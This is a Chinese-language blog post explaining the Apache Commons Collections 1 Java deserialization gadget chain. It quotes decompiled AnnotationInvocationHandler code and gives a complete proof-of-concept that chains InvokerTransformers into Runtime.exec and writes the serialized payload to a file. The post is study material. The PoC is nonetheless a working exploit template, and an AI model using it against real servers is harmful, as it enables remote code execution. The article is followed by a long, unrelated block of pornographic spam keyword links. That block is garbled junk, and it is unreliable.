public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);} else if (var5.length != 0) {throw new AssertionError("Too many parameters for an annotation method");} else {byte var7 = -1;switch(var4.hashCode()) {case -1776922004:if (var4.equals("toString")) {var7 = 0;}break;case 147696667:if (var4.equals("hashCode")) {var7 = 1;}break;case 1444986633:if (var4.equals("annotationType")) {var7 = 2;}}switch(var7) {case 0:return this.toStringImpl();case 1:return this.hashCodeImpl();case 2:return this.type;default:Object var6 = this.memberValues.get(var4);if (var6 == null) {throw new IncompleteAnnotationException(this.type, var4);} else if (var6 instanceof ExceptionProxy) {throw ((ExceptionProxy)var6).generateException();} else {if (var6.getClass().isArray() && Array.getLength(var6) != 0) {var6 = this.cloneArray(var6);}return var6;}}} }

重要式子

memberValues就是構(gòu)造函數(shù)賦值的,存儲(chǔ)這我們的惡意的map

Object var6 = this.memberValues.get(var4)

就是AnnotationInvocationHandler調(diào)用invoke方法,調(diào)用Lazymap的get方法,調(diào)用transform方法

readObject方法

我們看到第四行

Map var4 = (Map)var2.get("memberValues", (Object)null)

memberValues.的值賦值給var4

var4調(diào)用了entrySet().iterator()方法

var4.entrySet().iterator() private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {GetField var2 = var1.readFields();Class var3 = (Class)var2.get("type", (Object)null);Map var4 = (Map)var2.get("memberValues", (Object)null);AnnotationType var5 = null;try {var5 = AnnotationType.getInstance(var3);} catch (IllegalArgumentException var13) {throw new InvalidObjectException("Non-annotation type in annotation serial stream");}Map var6 = var5.memberTypes();LinkedHashMap var7 = new LinkedHashMap();String var10;Object var11;for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {Entry var9 = (Entry)var8.next();var10 = (String)var9.getKey();var11 = null;Class var12 = (Class)var6.get(var10);if (var12 != null) {var11 = var9.getValue();if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));}}}AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7); }

POC

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;public class CommonCollection1 {public static void main(String[] args) throws Exception {//此處構(gòu)建了一個(gè)transformers的數(shù)組,在其中構(gòu)建了任意函數(shù)執(zhí)行的核心代碼Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})};//循環(huán)反射調(diào)用InvokerTransformer.transform()方法執(zhí)行RceTransformer transformerChain = new ChainedTransformer(transformers);//通過(guò)LazyMap的get方法調(diào)用ChainedTransformer.transform()方法Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);//反射創(chuàng)建AnnotationInvocationHandler方法,把惡意的LazyMap賦值給InvocationHandler,因?yàn)锳nnotationInvocationHandler實(shí)現(xiàn)了InvocationHandler接口Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);construct.setAccessible(true);InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));oos.writeObject(handler);}} }

我們先來(lái)看第一段

反射創(chuàng)建AnnotationInvocationHandler類,實(shí)例化對(duì)象時(shí)把Retention.class、 outerMap傳給InvocationHandler接口,因?yàn)锳nnotationInvocationHandler實(shí)現(xiàn)了InvocationHandler方法

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

第二段動(dòng)態(tài)代理

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
  • 第一個(gè)參數(shù):People.getClass().getClassLoader(),使用handler對(duì)象的
    classloader對(duì)象來(lái)加載我們的代理對(duì)象
  • 第二個(gè)參數(shù):Person.getClass().getInterfaces(),這里為代理類提供的接口 是真實(shí)對(duì)象實(shí)現(xiàn)的接口,這樣代理對(duì)象就能像真實(shí)對(duì)象一樣調(diào)用接口中的所有方法
  • 第三個(gè)參數(shù):我們將代理對(duì)象關(guān)聯(lián)到上面的InvocationHandler對(duì)象上

那么在這段poc的執(zhí)行中執(zhí)行反序列化的時(shí)候,服務(wù)器讀取了我們的惡意序列化文件,把他反序列化,AnnotationInvocationHandler重寫了readObject()方法,所以調(diào)用的是AnnotationInvocationHandler的readObject()方法。readObject()方法會(huì)去調(diào)用memberValues的entrySet()方法。這里的memberValues是構(gòu)造方法傳入進(jìn)來(lái)的參數(shù),我們是使用反射的方式對(duì)他進(jìn)行創(chuàng)建傳入的是proxyMap。

因?yàn)閜roxyMap是我們的代理對(duì)象,所以調(diào)用proxyMap的entrySet()會(huì)觸發(fā)到AnnotationInvocationHandler的invoke()方法進(jìn)行執(zhí)行。這也是動(dòng)態(tài)代理的一個(gè)特性,代理對(duì)象調(diào)用任意方法,調(diào)用處理器中的invoke()方法都執(zhí)行一次
執(zhí)行AnnotationInvocationHandler的invoke()方法后又會(huì)調(diào)用get方法,再次回到剛剛的地方了。
LazyMap 的get方法方法里面的this.factory為Transformer[]數(shù)組,這時(shí)候去調(diào)用就會(huì)執(zhí)行transform方法,而ChainedTransformer的transform方法又會(huì)去遍歷調(diào)用Transformer[]里面的transform方法,導(dǎo)致使用方式的方式傳入的Runtime調(diào)用了exec執(zhí)行了calc.exe彈出一個(gè)計(jì)算器

利用鏈

Gadget chain:ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

參考:

https://blog.csdn.net/adamjwh/p/9683705.html

https://www.anquanke.com/post/id/230788

https://blog.csdn.net/nice0e3/p/13779857.html

總結(jié)

以上是生活随笔為你收集整理的CommonCollection1反序列化链学习的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

www.天天成人国产电影 | 在线视频观看你懂的 | 久久欧美在线电影 | 99热日本 | 国产一线二线三线在线观看 | 麻豆小视频在线观看 | 国产精品嫩草影视久久久 | 欧美日韩视频在线观看一区二区 | 亚洲精品国产第一综合99久久 | 黄色av电影免费观看 | 国产精品原创 | 国产高清成人av | 天堂中文在线播放 | 伊人影院在线观看 | 天天综合在线观看 | 2019精品手机国产品在线 | 免费又黄又爽视频 | 国产精品18久久久久久久久久久久 | 久久免费国产视频 | 免费视频成人 | 人人舔人人干 | 狠狠色丁香婷综合久久 | 91丨九色丨91啦蝌蚪老版 | 国产一区在线观看免费 | 国产1区在线观看 | 美女黄久久| 亚洲春色综合另类校园电影 | 美女视频黄色免费 | 97精品国产97久久久久久免费 | 亚洲国产精品久久久久 | 日韩av在线免费播放 | 偷拍精偷拍精品欧洲亚洲网站 | 美女网站免费福利视频 | 国产中文视频 | 日韩在线视频免费播放 | 色吊丝在线永久观看最新版本 | 欧美资源在线观看 | 亚洲精品9 | 中文字幕4 | 99久久精品免费看国产四区 | 国产精品久久av | 四虎小视频 | 亚洲男女精品 | av成人黄色| 日本中文字幕观看 | 精品一区二区在线免费观看 | 亚洲免费在线视频 | 黄色影院在线观看 | 日韩网站免费观看 | 久久精品一区二区国产 | 国产麻豆果冻传媒在线观看 | 在线观看黄污 | 国产成人精品在线播放 | 国内精品久久久久影院日本资源 | 激情视频在线观看网址 | 成人久久久久久久久 | 日日干视频 | 国产精品 9999 | 国产成人一级 | 久久久久久久福利 | 久久精品国产精品 | 色多多在线观看 | 日韩av在线免费播放 | 国产一区久久 | 91av影视 | 精品产品国产在线不卡 | 蜜臀av网址 | 久久天天躁 | 精品久久电影 | 色99中文字幕 | 制服丝袜在线91 | 99视频在线看 | 国产日韩欧美视频 | 欧美激情第八页 | 韩国av电影网 | 精品国产乱码久久久久久浪潮 | 国产伦精品一区二区三区在线 | 视频在线一区 | 日韩免费高清 | 日韩成年视频 | 亚洲天天摸日日摸天天欢 | 中文久久精品 | 99免费看片 | 精品久久国产 | 99久久日韩精品视频免费在线观看 | 一二区av | 久久人人97超碰国产公开结果 | 精品成人a区在线观看 | 日韩激情视频在线观看 | 2021国产精品视频 | 欧美视频在线观看免费网址 | 黄免费网站 | 天天干天天搞天天射 | 天天天色综合a | 亚洲综合视频在线 | 亚洲免费国产 | 国色综合 | 黄色成人av| 国产精彩视频一区 | 日韩一级成人av | 中文字幕中文中文字幕 | 一区二区中文字幕在线播放 | 丝袜少妇在线 | 日韩视频在线不卡 | 日韩欧美一级二级 | 久久婷婷国产 | 91成人在线视频观看 | 另类老妇性bbwbbw高清 | 国产麻豆精品传媒av国产下载 | 亚洲aⅴ乱码精品成人区 | 国产精品视频免费在线观看 | 精品福利片 | 日韩在线视频二区 | 国产色黄网站 | 日本在线观看一区二区三区 | 亚洲精品小区久久久久久 | 日韩免费在线观看视频 | 精品女同一区二区三区在线观看 | 亚洲天堂网在线观看视频 | 免费美女久久99 | 久久久久久久久久福利 | 最新真实国产在线视频 | 国产精品麻豆果冻传媒在线播放 | 免费av看片 | 国产成人精品在线 | 这里只有精彩视频 | 91视频一8mav | 99视频在线免费观看 | 成人9ⅰ免费影视网站 | 久久99久久99精品免观看软件 | 国产精品亚洲人在线观看 | www五月| 狠狠色丁香九九婷婷综合五月 | 黄色com | 婷婷激情五月综合 | 四虎影视4hu4虎成人 | 黄色在线观看网站 | 欧美精品久久久久性色 | 天天爽网站| 亚洲精品国产品国语在线 | 青青河边草观看完整版高清 | 不卡av电影在线 | 色综合天天爱 | 国产传媒中文字幕 | 国产精品美女久久久免费 | 免费看三级黄色片 | 亚洲成人精品 | 超碰人人草 | 麻豆影视网站 | 激情一区二区三区欧美 | 色综合a | 中文字幕久久亚洲 | 婷婷六月在线 | 99人久久精品视频最新地址 | 久久一区91 | 国产在线免费观看 | 久久艹艹 | 中文字幕在线看视频 | 国产成人久久精品 | 色狠狠久久av五月综合 | 亚洲天天做 | 婷婷激情五月 | 视频在线观看入口黄最新永久免费国产 | 99在线高清视频在线播放 | av一级在线| 美女在线国产 | 日韩91av| 成年人免费在线观看网站 | 涩涩爱夜夜爱 | 久久开心激情 | 一区二区久久 | japanesefreesexvideo高潮 | 亚洲v欧美v国产v在线观看 | 五月精品| www.久艹 | 日本中文字幕在线视频 | 日韩av片免费在线观看 | 97成人在线观看视频 | 国产丝袜美腿在线 | 亚洲免费观看视频 | 一区二区三区不卡在线 | 国产一级电影免费观看 | 激情亚洲综合在线 | 超碰人人99 | 五月天综合网 | 婷婷色网视频在线播放 | a爱爱视频 | 狠狠操天天射 | 日韩乱码中文字幕 | 亚洲在线视频免费 | 国产一区视频免费在线观看 | 国产成人亚洲在线观看 | 国产又粗又猛又爽又黄的视频先 | 国产69精品久久99不卡的观看体验 | 国产天天爽| 国内少妇自拍视频一区 | 丝袜美腿一区 | 国产黄色成人 | 久久久久久久久久福利 | 天堂av免费观看 | 欧美大片在线观看一区 | 欧美在线a视频 | 成人在线网站观看 | 久久艹在线观看 | 在线观看免费日韩 | 亚洲一级片在线看 | 日韩av在线看 | 免费裸体视频网 | 中文永久字幕 | 黄色a大片| 免费热情视频 | 久久99精品久久久久久 | a久久免费视频 | 色婷久久 | 久久久久久久久久电影 | 97在线成人 | 久久久国产精品亚洲一区 | 园产精品久久久久久久7电影 | 91成人在线视频 | 91精品啪在线观看国产线免费 | 亚洲成人精品久久久 | 日韩在线观看第一页 | 免费黄色在线网站 | 三级av免费观看 | 亚洲国产精品一区二区久久hs | 99精品久久精品一区二区 | 美女网站在线看 | 99热精品视| 久操视频在线免费看 | 五月天综合激情网 | 成人在线视频一区 | 久久不卡日韩美女 | 久久久久久久久久久福利 | 亚洲精品自拍视频在线观看 | 国内精品一区二区 | 成人97人人超碰人人99 | 亚洲专区在线视频 | 亚洲国产精品传媒在线观看 | 亚洲免费在线播放视频 | 日本公妇在线观看 | 黄色av网站在线观看免费 | 精品国产欧美 | 精品国产乱码一区二 | 天天色成人网 | 中文在线资源 | 久久亚洲私人国产精品 | 欧美无极色 | 国内丰满少妇猛烈精品播 | 久久理论电影 | 久久婷婷国产色一区二区三区 | 日韩国产高清在线 | 91亚洲精品国偷拍 | 五月天久久久 | 日韩一二三区不卡 | 一二三区高清 | 午夜影院一级 | 亚洲国产大片 | 亚洲午夜久久久久久久久电影网 | 亚洲年轻女教师毛茸茸 | 久久一区二区三区四区 | 久久久久久久久久久网 | 中文字幕av免费 | 亚洲精品视频国产 | 免费看精品久久片 | 99久热在线精品视频 | 国产成人久久精品一区二区三区 | 女人魂免费观看 | 亚洲年轻女教师毛茸茸 | 中文国产字幕在线观看 | 欧美先锋影音 | 911香蕉 | 久久伊人八月婷婷综合激情 | 天天射网| 一区二区不卡高清 | 国产裸体无遮挡 | 精品网站999www | 婷婷色亚洲 | 天天操夜夜看 | 国内精品美女在线观看 | 九九热免费视频在线观看 | 91麻豆精品91久久久久同性 | 精品少妇一区二区三区在线 | 久久精品99国产精品亚洲最刺激 | 天天伊人狠狠 | 欧美日韩在线网站 | 极品久久久| 亚洲人成人天堂h久久 | 叶爱av在线 | 超碰精品在线观看 | 日韩免费在线看 | av在线a| 欧美a视频| 亚洲免费在线看 | 成人xxxx | 国产黄在线播放 | 你操综合| www.操.com| 久久精品免费播放 | 少妇18xxxx性xxxx片 | 最近中文字幕mv免费高清在线 | 国产精品久久久久久久免费大片 | 成人精品一区二区三区中文字幕 | 中文字幕在线观看第三页 | 麻豆精品视频在线观看免费 | 成人午夜电影在线观看 | 激情喷水 | 久久国产网 | 日日夜夜精品免费 | 看全黄大色黄大片 | 国产手机在线播放 | 亚洲资源 | 日韩在线观看三区 | 在线国产视频一区 | 99久久精品午夜一区二区小说 | www.91国产 | 亚洲免费永久精品国产 | 五月天.com | 亚洲黄色成人网 | 久久调教视频 | 日韩视频免费在线观看 | 国产精品区免费视频 | 人成在线免费视频 | 色网站在线 | 黄色福利视频网站 | 伊人国产在线观看 | 日韩激情网 | 免费观看9x视频网站在线观看 | 国产成人精品一区二区在线观看 | 又爽又黄又无遮挡网站动态图 | 久久这里只有精品首页 | 天天操天天操天天操天天操天天操 | 亚洲一区二区三区毛片 | 欧美午夜a | 久久综合操 | 麻豆免费在线视频 | 97成人在线观看视频 | 探花在线观看 | 成年人在线免费看视频 | 香蕉视频免费在线播放 | 制服丝袜成人在线 | 亚洲国内精品 | 婷婷国产在线 | 久草在线视频免赞 | 性色xxxxhd | 中文视频在线 | 在线小视频你懂得 | 久久观看最新视频 | 黄视频色网站 | 精品久久久久久一区二区里番 | 日韩欧美69 | 免费在线黄 | 色网站免费在线观看 | 中文字幕在线影院 | 丁香婷婷色综合亚洲电影 | 少妇按摩av | 天天天天色射综合 | 天天曰夜夜爽 | 日韩欧美在线第一页 | 国产中年夫妇高潮精品视频 | 精品久久久免费 | 99精品偷拍视频一区二区三区 | 色网站国产精品 | 九七在线视频 | 欧美一区二区三区在线观看 | 亚洲欧美精品在线 | 亚洲国产精品小视频 | 国色天香在线观看 | 欧美成人精品欧美一级乱 | 天天操天天色综合 | 永久av免费在线观看 | 天天激情在线 | 99热精品国产一区二区在线观看 | 久久人人爽人人人人片 | 2022国产精品视频 | a黄色片在线观看 | 日韩精品一区二区三区在线播放 | 97在线免费 | 99综合视频 | 91成年人在线观看 | 91福利视频网站 | 国产一区网址 | 欧美韩国日本在线观看 | 中文字幕久久精品一区 | 亚洲激情校园春色 | 人人爽久久久噜噜噜电影 | 操操操av | 四虎在线免费 | 久久99热这里只有精品 | 麻花豆传媒一二三产区 | 99免费在线播放99久久免费 | 欧美精品乱码久久久久久按摩 | a视频免费看 | 亚洲精品2区 | 国内精品亚洲 | 国产裸体永久免费视频网站 | 人成午夜视频 | 国内精品视频在线播放 | japanesexxx乱女另类| 99九九99九九九视频精品 | 久青草国产在线 | 91精选在线 | 国产中文字幕在线播放 | 曰韩精品 | 国产专区视频在线观看 | 很黄很黄的网站免费的 | 日韩精品一区二区三区外面 | 日日干天天爽 | 欧美色精品天天在线观看视频 | 88av网站 | 国产专区视频在线 | 大片网站久久 | 免费电影播放 | 国产视频美女 | 色之综合网 | 久久黄色片| 日日爽天天爽 | 六月激情久久 | 区一区二区三在线观看 | 精品久久久久久亚洲综合网 | 天天综合视频在线观看 | 激情综合亚洲 | 久久色亚洲 | 午夜国产一区 | 岛国av在线不卡 | 欧美专区国产专区 | 久久网站免费 | 国产精品久久久精品 | 免费观看9x视频网站在线观看 | 国产精品国产亚洲精品看不卡 | 免费观看国产精品 | 国产精品美女网站 | 视频一区二区视频 | 另类五月激情 | 九九精品在线观看 | 在线观看免费高清视频大全追剧 | www.888av| 欧美精品一区二区三区四区在线 | 免费视频久久久久久久 | 亚洲一区久久 | 国产一级黄| 在线精品观看国产 | 免费国产亚洲视频 | 国产精品videossex国产高清 | 日韩一区二区免费视频 | 天天色天天干天天色 | 91人人射 | 久久天天躁狠狠躁亚洲综合公司 | 久草9视频| 99视频精品 | 国产尤物在线视频 | 国产96在线视频 | 国产极品尤物在线 | 激情久久久久 | 色人久久 | 狠狠色噜噜狠狠狠合久 | a在线播放| 国产99久久久国产 | 精品国产99| av在线免费观看黄 | www激情久久 | 黄色软件在线观看 | 91最新在线视频 | 欧美性生活免费看 | 五月婷婷av | 日韩欧美一级二级 | 99久久婷婷国产一区二区三区 | 中文字幕在线观看网 | 一二区av | 中文字幕在线免费看线人 | 九九久久成人 | av东方在线 | 久草免费电影 | 美女视频a美女大全免费下载蜜臀 | 国产精品自拍在线 | 国产一级二级三级视频 | 香蕉视频亚洲 | 精品国产免费一区二区三区五区 | 九色porny真实丨国产18 | 亚洲成人av一区 | 日本精品视频免费观看 | 免费看麻豆 | 九九综合久久 | 亚洲一区二区三区毛片 | 国产黄色看片 | 免费在线看v | 97超视频免费观看 | 97av视频在线观看 | 五月婷婷丁香综合 | 99视频在线看 | 欧美激情第一页xxx 午夜性福利 | 人人射人人 | 毛片网在线观看 | 亚洲黄色免费在线 | 正在播放国产一区 | 九九国产视频 | 欧美日韩不卡在线观看 | 在线有码中文 | 国产高清免费 | 中文字幕亚洲欧美日韩2019 | av福利在线播放 | 97人人澡人人添人人爽超碰 | 国产在线视频一区 | 99精品观看 | 99久久精品免费看国产一区二区三区 | 日韩在线免费电影 | 91av电影在线观看 | 色橹橹欧美在线观看视频高清 | 青青久视频 | 久久只精品99品免费久23小说 | 亚洲闷骚少妇在线观看网站 | 国产在线观看网站 | 免费在线播放黄色 | 国产精品二区三区 | 91九色蝌蚪 | 久久高清av | 亚洲久草在线 | 亚洲国产中文字幕在线视频综合 | 人人爱人人舔 | 免费涩涩网站 | 国产不卡一区二区视频 | 精品免费观看视频 | 精品视频99 | 人人超碰在线 | 日韩三级视频在线观看 | 国产成人精品免高潮在线观看 | 亚洲精品网址在线观看 | 免费观看丰满少妇做爰 | 人人玩人人爽 | 午夜免费电影院 | www黄色com| 欧美日韩免费一区二区 | 99精品黄色片免费大全 | 999视频在线播放 | 午夜精品久久久久久久99 | 国产精品99久久久久久小说 | 婷婷在线色 | av免费在线网站 | 日日夜夜精品网站 | 久久伦理网 | 国产精品嫩草影院123 | 日韩字幕| 99热这里有| 日韩大片在线免费观看 | 久久av网址| 91豆麻精品91久久久久久 | 国产高清成人 | 午夜美女wwww | 国产激情电影综合在线看 | 欧美一级黄色片 | 国产精品手机视频 | 欧美日韩国产精品久久 | 日本中文字幕在线播放 | 久久精品视频4 | 欧美-第1页-屁屁影院 | 国产一区二区三区四区大秀 | 狠狠操夜夜 | 国产蜜臀av| 99在线精品视频观看 | 丁香狠狠| 日韩网站在线看片你懂的 | 午夜视频在线观看一区二区三区 | 在线免费看片 | 免费三及片 | 久久69精品久久久久久久电影好 | 91精品在线免费观看 | 日韩欧美在线观看一区二区三区 | 日韩在线观看av | 欧美99久久 | 久久精品96 | 区一区二区三在线观看 | 91精品久久久久久久99蜜桃 | 午夜国产一区 | 日色在线视频 | 亚洲精品乱码白浆高清久久久久久 | 中文字幕在线观看完整版 | 人人草人人做 | av在线播放中文字幕 | 丁香婷婷激情国产高清秒播 | 国产成人精品综合 | 国产乱对白刺激视频在线观看女王 | 97色婷婷 | 麻豆视频网址 | 成人久久18免费网站 | 久久久久伦理电影 | 日韩中文字幕国产精品 | 国产视频一二三 | 青青河边草观看完整版高清 | 91香蕉视频好色先生 | 国产精品女人久久久久久 | 玖玖视频网 | 91观看视频| 在线免费观看一区二区三区 | 色婷婷综合成人av | 国产第页| 成人av网站在线 | 美女网站黄在线观看 | 美女久久精品 | 亚洲天堂网视频在线观看 | 中文字幕精品www乱入免费视频 | 国产精品黄色影片导航在线观看 | 日本精品一区二区三区在线观看 | 在线观看一二三区 | 国产精品理论片在线播放 | 婷婷久久五月 | 午夜国产福利在线 | 成人在线免费视频观看 | 国产亚洲资源 | 亚洲成人午夜在线 | 久青草视频在线观看 | 免费久久久久久 | 狠狠色伊人亚洲综合网站野外 | 久久激情视频网 | 亚洲国产中文字幕 | 久久久亚洲麻豆日韩精品一区三区 | 成人av在线亚洲 | 99久久精品国产一区 | 九色精品在线 | av网址aaa | 午夜精品一区二区三区可下载 | 18久久久久 | 伊人六月 | 岛国av在线不卡 | 91精品一区二区三区蜜臀 | 日本性xxxxx 亚洲精品午夜久久久 | 国产一区私人高清影院 | 天天伊人狠狠 | 在线观看中文 | 91精品一区二区三区久久久久久 | 成人影片在线播放 | www.xxxx欧美 | 国产精品一区二区三区久久久 | 色噜噜在线观看视频 | 天海翼一区二区三区免费 | 国产 日韩 欧美 中文 在线播放 | 九九热免费观看 | 天天做天天爱天天爽综合网 | 一级精品视频在线观看宜春院 | a√国产免费a | 婷婷五情天综123 | 蜜桃av久久久亚洲精品 | 国产v在线播放 | 欧美在线视频精品 | 93久久精品日日躁夜夜躁欧美 | 亚洲精品视频国产 | 成人免费网站在线观看 | 国产免费观看av | 黄色一级大片在线免费看产 | 久久免费视频在线观看30 | 亚洲欧美日韩不卡 | 国产香蕉视频 | 欧美成人h版在线观看 | 伊人超碰在线 | 91插插视频 | 国产成人免费在线 | 午夜久久视频 | av中文字幕在线观看网站 | 久草网视频在线观看 | 日韩精品大片 | av在线免费不卡 | 国产成人久久精品77777 | 日韩电影在线视频 | 色婷婷狠狠五月综合天色拍 | 91高清免费 | 日韩欧美在线观看 | 天天干亚洲 | 国产高清一级 | 国产一级在线看 | 曰本三级在线 | 在线视频日韩欧美 | 97操操操| 亚洲日本精品视频 | 午夜精品一区二区三区四区 | 麻豆va一区二区三区久久浪 | 久久久久久高潮国产精品视 | 久久婷婷久久 | 狠狠狠色丁香婷婷综合激情 | 久久久久黄 | 久久精品高清 | 久久精品中文视频 | 国产亚洲精品久久久久久久久久 | 久久精品视频在线免费观看 | 亚洲高清在线精品 | 婷婷色伊人 | 91视频在线自拍 | 免费进去里的视频 | 黄色小网站免费看 | 特级毛片aaa| 色婷婷骚婷婷 | 在线观看黄色 | www婷婷 | 黄色精品一区 | 五月开心六月婷婷 | 69中文字幕 | 亚洲五月婷婷 | 欧美激情视频一区二区三区免费 | 成人在线视频你懂的 | 天天操天天摸天天干 | 国产精品欧美久久久久无广告 | 狠狠的干狠狠的操 | 欧美精品在线一区二区 | 国产1区在线 | 99久久精品午夜一区二区小说 | a级国产片 | 黄色www免费 | 干干操操| 日韩欧美一二三 | 99久久激情| 久久精品亚洲一区二区三区观看模式 | 91色一区二区三区 | 欧美淫视频 | 国产精品青草综合久久久久99 | 五月天高清欧美mv | 国精产品满18岁在线 | 国产亚洲在线 | 国产精品观看视频 | 免费大片黄在线 | 六月丁香在线视频 | 一区二区三区在线观看中文字幕 | 欧美一区二区精品在线 | 99爱这里只有精品 | 色婷婷丁香 | 97网| 新版资源中文在线观看 | 日韩在线观看视频网站 | 国产精品一区免费在线观看 | 天天插视频 | 亚洲伊人天堂 | 国产精品美女在线观看 | 999久久久久久久久久久 | 五月婷婷六月丁香在线观看 | 天堂激情网 | 午夜三级理论 | 成人黄色电影在线播放 | 色在线网站 | 日韩在线中文字幕视频 | 五月天婷婷视频 | 98久久 | 色夜影院 | 在线观看免费成人 | 午夜视频在线观看一区二区三区 | 免费色视频网站 | 麻豆视频在线免费观看 | 在线激情影院一区 | 国产91成人在在线播放 | 热99在线视频 | 国产午夜剧场 | 丝袜美腿一区 | 亚洲国产精品久久久久久 | 成年人在线观看免费视频 | 午夜视频99 | 国产91精品一区二区绿帽 | 狠狠躁天天躁 | 日韩av片无码一区二区不卡电影 | 91精品国产欧美一区二区成人 | 久久免费视频5 | 911精品美国片911久久久 | 国产精品福利在线 | 日韩区欠美精品av视频 | 欧美午夜久久 | 日本丰满少妇免费一区 | 日韩有色| 色欧美成人精品a∨在线观看 | 成人免费视频在线观看 | 91亚洲精 | 日韩美一区二区三区 | 精品福利av | 在线观看一区 | 国产成人精品av在线观 | 在线看的av网站 | 五月婷婷黄色网 | 91在线一区| 婷婷综合五月天 | 国产99精品在线观看 | 久久成年人 | 亚洲做受高潮欧美裸体 | 精品国产一区二区三区久久久蜜月 | 免费十分钟 | 国产精品视频一二三 | www夜夜操| 日韩欧美精品一区二区 | 成人高清av在线 | 伊人狠狠色丁香婷婷综合 | av中文电影 | 8x8x在线观看视频 | 亚洲一级片免费观看 | 中文字幕在线播放视频 | 国产麻豆果冻传媒在线观看 | 欧美地下肉体性派对 | 亚洲成人精品在线观看 | 国产只有精品 | 激情综合狠狠 | av资源网在线播放 | 久久免费精品一区二区三区 | 亚洲精品在线观 | 国产黄色av网站 | 天天射天天操天天 | 国产黄色免费 | 亚洲精品美女久久久久网站 | 欧美成人aa | 国产精品久久久久久妇 | 国产美女免费观看 | 一区二区电影在线观看 | 日本成人a| 久久精品久久国产 | 午夜精品一区二区国产 | 黄色免费在线视频 | 97在线精品| 天天色天天骑天天射 | 婷婷色中文字幕 | 99亚洲国产 | 国产精品久久久久久五月尺 | 麻豆视频在线播放 | 亚洲专区 国产精品 | 91日韩免费 | www.国产在线视频 | 国产视频首页 | av免费网站 | 久久婷婷国产色一区二区三区 | 最近更新好看的中文字幕 | 免费av观看 | 日韩伦理一区二区三区av在线 | 最近中文字幕 | 在线观看久久久久久 | 色婷婷成人 | 伊人激情网 | 91av欧美| 色多多视频在线 | 808电影免费观看三年 | 亚洲精品女人久久久 | 亚洲国产婷婷 | 综合网成人 | 精品国产一区二区三区久久影院 | 91精品网站 | 在线国产激情视频 | 国产一区二区在线播放视频 | 天天操综| 免费91麻豆精品国产自产在线观看 | 免费在线观看a v | 亚洲精品av中文字幕在线在线 | 日本韩国中文字幕 | 日日夜夜亚洲 | 99久久爱 | 亚洲午夜av久久乱码 | 99久久日韩精品视频免费在线观看 | 午夜久久网 | 国产a国产a国产a | 人人要人人澡人人爽人人dvd | 操操操人人 | 欧美另类z0zx | 亚洲天堂精品视频在线观看 | 国产视频精品在线 | 国产精品青草综合久久久久99 | 中文字幕第 | 日韩av影视 | 久久久在线免费观看 | 国产成人高清在线 | 亚洲日韩中文字幕 | 久久精品国产免费 | 最近中文字幕视频完整版 | 日韩成人免费电影 | 国产精品无av码在线观看 | 九九久久国产 | 午夜 免费 | 亚洲国产一区av | 欧美激情精品久久久久 | 国产精品久久久久一区二区三区共 | 婷婷丁香花五月天 | 国产97色| 中文字幕在线观看完整版电影 | 在线看片一区 | 欧美性黄网官网 | 激情影院在线观看 | 日韩精品1区2区 | 成人午夜免费福利 | 国产在线一区二区三区播放 | 99精品乱码国产在线观看 | 日本三级不卡 | 亚洲精品在线一区二区三区 | 黄色国产区 | 欧美日韩视频在线播放 | 日韩系列| 国产精品私人影院 | 97色在线观看免费视频 | 国产精品一区二区久久久久 | 丁香五月网久久综合 | 国产福利91精品一区二区三区 | 欧美一级黄大片 | 天天爽夜夜操 | 伊人五月天综合 | 精品视频97 | 在线观看国产永久免费视频 | 色综合久久88色综合天天6 | www久草 | 免费日韩精品 | 国产精品第一页在线 | 亚洲精品影视 | 在线电影91 | 在线观看精品 | 九九视频在线播放 | 国产一区二区在线播放 | 精品国产乱码久久久久 | 天堂在线一区二区 | 亚洲美女视频网 | 天天色天 | 国产精品免费在线播放 | 成人污视频在线观看 | 在线小视频国产 | av福利在线免费观看 | 精品成人a区在线观看 | 日女人免费视频 | 69xx视频| 亚洲视频aaa| 久久久国产日韩 | 